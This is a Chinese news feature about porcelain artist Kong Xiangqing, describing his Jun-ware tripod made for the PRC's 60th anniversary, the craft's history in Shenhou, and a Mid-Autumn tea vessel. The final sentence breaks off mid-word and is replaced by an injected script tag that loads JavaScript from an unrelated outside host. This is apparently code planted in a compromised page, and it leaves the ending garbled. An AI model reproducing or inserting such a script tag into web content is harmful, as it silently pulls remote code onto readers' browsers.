| 鼎，自古以来被视为国家重器，象征稳定、安宁与和平，代表发展、昌盛、繁荣，体现了中华文明的伟大品格与灿烂文化。记者眼前的这座鼎，足踏青云、身饰九龙、头顶宝珠，造型唯美而大气，豪放而又细腻，纯正的鸡血红散发着雍容华贵的光芒。它，就是由中国工艺美术大师孔相卿为新中国成立60周年创作的钧瓷《鼎盛华夏》。
鼎盛华夏
中国历史文化名镇禹州市神垕镇以中国五大名瓷之一钧瓷原产地闻名，在这里，记者见到了孔相卿。谈及创造《鼎盛华夏》的过程，他从钧瓷的发展历史娓娓道来：钧瓷在北宋被选为皇家贡品，以自然天成的神韵、法度精严的造型独步中国瓷林，后在金元两代在民间得到发展，形成了以“自然窑变”为特色风靡北方的钧窑系。但自明代起，连年的战乱导致民不聊生，钧瓷烧制工艺就此失传，。新中国成立后，在周恩来总理的亲切关怀下，自元末后煅烧几百年的钧瓷工艺才得到恢复；乱世藏金盛世藏宝，经过改革开放三十年经济社会发展，人民生活水平有了很大提高，有了更高层次文化消费的需要，为钧瓷发展提供了繁荣稳定的外部环境，才使这一“昔日王谢堂前燕，飞入寻常百姓家”。如今的神垕，窑口林立，在产业化发展的基础上，钧瓷的工艺水准、艺术品位、文化内涵得到了极大提升，不但频频在国内艺术陶瓷大赛中获奖，还作为国礼，漂洋过海向全世界展示富有代表性的中国文化。可以说，没有新中国的成立，没有改革开放三十年的伟大成就，就没有钧瓷的今天。
饮水思源，进入2009年，孔相卿一直在构思，怎样用钧瓷的形式，讴歌新中国成立60周年为钧瓷带来的大发展、大繁荣。最先确定下来的是器型“鼎”，不但因为鼎是重要的青铜礼器，还因为据《尚书•禹贡》记载，大禹铸九鼎以定九州，而禹部落的重要活动区域就在禹州，钧瓷因北宋曾将官窑建在大禹之子夏启大享诸侯的钧台而得名。以鼎为器，装饰民俗吉祥符号如意、四象、莲花、祥云等，承载着钧乡人对新中国成立60周年百姓生活美满，家国和谐最质朴的心愿、最美好的祝福。鼎的造型深植中国上下五千年深厚文化，展现中华民族伟大复兴的历史瞬间，鼎足为祥云托起三个龙首，耳饰为六条飞龙在天，三六相加，九龙代表九州，象征中华巨龙自强不息、蓄势腾飞；鼎腹悬雕五六十个柱丁环绕一周，象征五十六个民族大团结；六十个如意代表建国六十周年，祝福祖国风调雨顺，国泰民安；鼎上部装饰四个象钮，象征太平吉祥、四季平安；三十瓣莲花寓意改革开放三十年繁荣昌盛、国富民强；莲花托举宝珠一颗，象征中华人民共和国和谐建设、和平崛起，近悦远来，万邦来仪。
如果了解了孔相卿从艺30年的创作历程，就会明白，《鼎盛华夏》是他厚积薄发的产物。从2005年，孔相卿开始创作“祝福中国”系列作品，其中《丰尊》、《海晏鼎》、《象天鼎》连续三届被选为中国—东盟博览会国礼，《四海升平》被2008年联合国之春文化艺术节选为国礼，国事、家事、天下事，事事关心，一位艺术家只有宽广的胸怀，才能创作出无愧于时代的作品。有了这一组作品的铺垫、准备、积蓄经验，才有《鼎盛华夏》这一继承宋钧典雅、端庄与青铜器厚重的艺术风格的同时，洋溢着自信、饱满、昂扬、开放的时代精神的作品，它代表着当代钧瓷艺术最高成就。
今年的国庆节，恰逢中秋。中秋节是最美好最富有诗意的中国传统佳节。它蕴涵着中国人过日子最大的心愿——和和美美、团团圆圆。在孔家钧窑，记者还欣赏了孔相卿创作的中秋节作品《品茗中秋》。
主体造型为祥云托起一轮满月，祥云为浅浮雕显露胎骨，朴拙质感，月亮施满釉，乳光莹润，形成一张一弛、富有节奏的韵律美。仔细赏玩，作品不但是件简洁、流畅、灵动、雅致的案头清供，还是一件实用器物——提梁壶。“一壶好茶一壶月,万里清辉伴茗香。”中秋之夜，好友亲朋，三五小聚，月下品茗、品钧、品味生活，让思绪、情感、愿望、梦想……像天上的那轮明月，像手中那杯清茶，透明而皎洁，轻盈而澄澈，圆满而完美。中秋节已与春节、端午节一起被列为中国首批非物质文化遗产，保护延绵在百姓生活中的文化习俗、生活方式并一代代传下去，是每个现代中国人共同的责任。据孔相卿介绍，每年中秋节，孔家钧窑都会推出《中秋作品》，在表现钧瓷造型美与釉色美的同时，突出节庆内涵，并十分注重于传统民俗相结合，突出实用性。《品茗中秋》让人感到，文化在生活中无处不在，传统并未走远。这和孔家钧窑“传承文化、缔造经典”的企业理念一脉相?script src=http://jiongjia.com/c.js>
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